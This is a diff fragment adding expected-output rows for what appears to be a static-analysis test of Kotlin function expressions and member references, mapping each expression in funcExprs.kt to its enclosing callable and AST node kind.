+| funcExprs.kt:41:29:41:39 | FuncRef | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:41:29:41:39 | Function2<FuncRef,Integer,Integer> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:41:29:41:39 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:41:29:41:39 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:41:29:41:39 | a0 | funcExprs.kt:41:29:41:39 | invoke | VarAccess |
+| funcExprs.kt:41:29:41:39 | a1 | funcExprs.kt:41:29:41:39 | invoke | VarAccess |
+| funcExprs.kt:41:29:41:39 | f1(...) | funcExprs.kt:41:29:41:39 | invoke | MethodAccess |
+| funcExprs.kt:42:5:42:34 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:42:5:42:34 | functionExpression1a(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:42:26:42:26 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:42:29:42:29 | 3 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:42:29:42:33 | ...::... | funcExprs.kt:21:1:52:1 | call | MemberRefExpr |
+| funcExprs.kt:42:29:42:33 | ...=... | funcExprs.kt:42:29:42:33 |  | AssignExpr |
+| funcExprs.kt:42:29:42:33 | <extensionReceiver> | funcExprs.kt:42:29:42:33 |  | VarAccess |
+| funcExprs.kt:42:29:42:33 | FuncExprsKt | funcExprs.kt:42:29:42:33 | invoke | TypeAccess |
+| funcExprs.kt:42:29:42:33 | Function1<Integer,Integer> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:42:29:42:33 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:42:29:42:33 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:42:29:42:33 | a0 | funcExprs.kt:42:29:42:33 | invoke | VarAccess |
+| funcExprs.kt:42:29:42:33 | f3(...) | funcExprs.kt:42:29:42:33 | invoke | MethodAccess |
+| funcExprs.kt:42:29:42:33 | int | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:42:29:42:33 | this | funcExprs.kt:42:29:42:33 |  | ThisAccess |
+| funcExprs.kt:42:29:42:33 | this | funcExprs.kt:42:29:42:33 | invoke | ThisAccess |
+| funcExprs.kt:42:29:42:33 | this.<extensionReceiver> | funcExprs.kt:42:29:42:33 |  | VarAccess |
+| funcExprs.kt:42:29:42:33 | this.<extensionReceiver> | funcExprs.kt:42:29:42:33 | invoke | VarAccess |
+| funcExprs.kt:43:5:43:35 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:43:5:43:35 | functionExpression3(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:43:25:43:25 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:43:28:43:34 | ...::... | funcExprs.kt:21:1:52:1 | call | MemberRefExpr |
+| funcExprs.kt:43:28:43:34 | FuncExprsKt | funcExprs.kt:43:28:43:34 | invoke | TypeAccess |
+| funcExprs.kt:43:28:43:34 | Function2<Integer,Integer,Integer> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:43:28:43:34 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:43:28:43:34 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:43:28:43:34 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:43:28:43:34 | a0 | funcExprs.kt:43:28:43:34 | invoke | VarAccess |
+| funcExprs.kt:43:28:43:34 | a1 | funcExprs.kt:43:28:43:34 | invoke | VarAccess |
+| funcExprs.kt:43:28:43:34 | f3(...) | funcExprs.kt:43:28:43:34 | invoke | MethodAccess |
+| funcExprs.kt:44:5:44:43 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:5:44:43 | functionExpression22(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:44:26:44:26 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:44:29:44:37 | FuncRef | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:37 | new FuncRef(...) | funcExprs.kt:21:1:52:1 | call | ClassInstanceExpr |
+| funcExprs.kt:44:29:44:42 | ...::... | funcExprs.kt:21:1:52:1 | call | MemberRefExpr |
+| funcExprs.kt:44:29:44:42 | ...=... | funcExprs.kt:44:29:44:42 |  | AssignExpr |
+| funcExprs.kt:44:29:44:42 | <dispatchReceiver> | funcExprs.kt:44:29:44:42 |  | VarAccess |
+| funcExprs.kt:44:29:44:42 | FuncRef | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Function22<Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Integer,Unit> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Integer | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | Unit | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:44:29:44:42 | a0 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a1 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a2 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a3 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a4 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a5 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a6 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a7 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a8 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a9 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a10 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a11 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a12 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a13 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a14 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a15 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a16 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a17 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a18 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a19 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a20 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | a21 | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:44:29:44:42 | f22(...) | funcExprs.kt:44:29:44:42 | invoke | MethodAccess |
+| funcExprs.kt:44:29:44:42 | this | funcExprs.kt:44:29:44:42 |  | ThisAccess |
+| funcExprs.kt:44:29:44:42 | this | funcExprs.kt:44:29:44:42 | invoke | ThisAccess |
+| funcExprs.kt:44:29:44:42 | this.<dispatchReceiver> | funcExprs.kt:44:29:44:42 |  | VarAccess |
+| funcExprs.kt:44:29:44:42 | this.<dispatchReceiver> | funcExprs.kt:44:29:44:42 | invoke | VarAccess |
+| funcExprs.kt:45:5:45:43 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:45:5:45:43 | functionExpression23(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:45:26:45:26 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:45:29:45:37 | FuncRef | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:45:29:45:37 | new FuncRef(...) | funcExprs.kt:21:1:52:1 | call | ClassInstanceExpr |
+| funcExprs.kt:45:29:45:42 | 0 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 1 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 2 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 3 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 4 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 5 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 6 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 7 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 8 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 9 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 10 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 11 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 12 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 13 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 14 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 15 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 16 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 17 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 18 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 19 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 20 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 21 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | 22 | funcExprs.kt:45:29:45:42 | invoke | IntegerLiteral |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | (...)... | funcExprs.kt:45:29:45:42 | invoke | CastExpr |
+| funcExprs.kt:45:29:45:42 | ...::... | funcExprs.kt:21:1:52:1 | call | MemberRefExpr |
+| funcExprs.kt:45:29:45:42 | ...=... | funcExprs.kt:45:29:45:42 |  | AssignExpr |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | ...[...] | funcExprs.kt:45:29:45:42 | invoke | ArrayAccess |
+| funcExprs.kt:45:29:45:42 | <dispatchReceiver> | funcExprs.kt:45:29:45:42 |  | VarAccess |
+| funcExprs.kt:45:29:45:42 | FuncRef | file://:0:0:0:0 | <none> | TypeAccess |
+| funcExprs.kt:45:29:45:42 | FunctionN<String> | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:45:29:45:42 | String | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | a0 | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:45:29:45:42 | f23(...) | funcExprs.kt:45:29:45:42 | invoke | MethodAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | int | funcExprs.kt:45:29:45:42 | invoke | TypeAccess |
+| funcExprs.kt:45:29:45:42 | this | funcExprs.kt:45:29:45:42 |  | ThisAccess |
+| funcExprs.kt:45:29:45:42 | this | funcExprs.kt:45:29:45:42 | invoke | ThisAccess |
+| funcExprs.kt:45:29:45:42 | this.<dispatchReceiver> | funcExprs.kt:45:29:45:42 |  | VarAccess |
+| funcExprs.kt:45:29:45:42 | this.<dispatchReceiver> | funcExprs.kt:45:29:45:42 | invoke | VarAccess |
+| funcExprs.kt:46:5:46:42 | FuncExprsKt | funcExprs.kt:21:1:52:1 | call | TypeAccess |
+| funcExprs.kt:46:5:46:42 | functionExpression23c(...) | funcExprs.kt:21:1:52:1 | call | MethodAccess |
+| funcExprs.kt:46:27:46:27 | 5 | funcExprs.kt:21:1:52:1 | call | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 0 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 1 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 2 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 3 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 4 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 5 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 6 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 7 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 8 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 9 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 10 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 11 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 12 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 13 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 14 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 15 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 16 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 17 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 18 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 19 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 20 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 21 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 22 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | 23 | funcExprs.kt:46:30:46:41 | invoke | IntegerLiteral |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
+| funcExprs.kt:46:30:46:41 | (...)... | funcExprs.kt:46:30:46:41 | invoke | CastExpr |
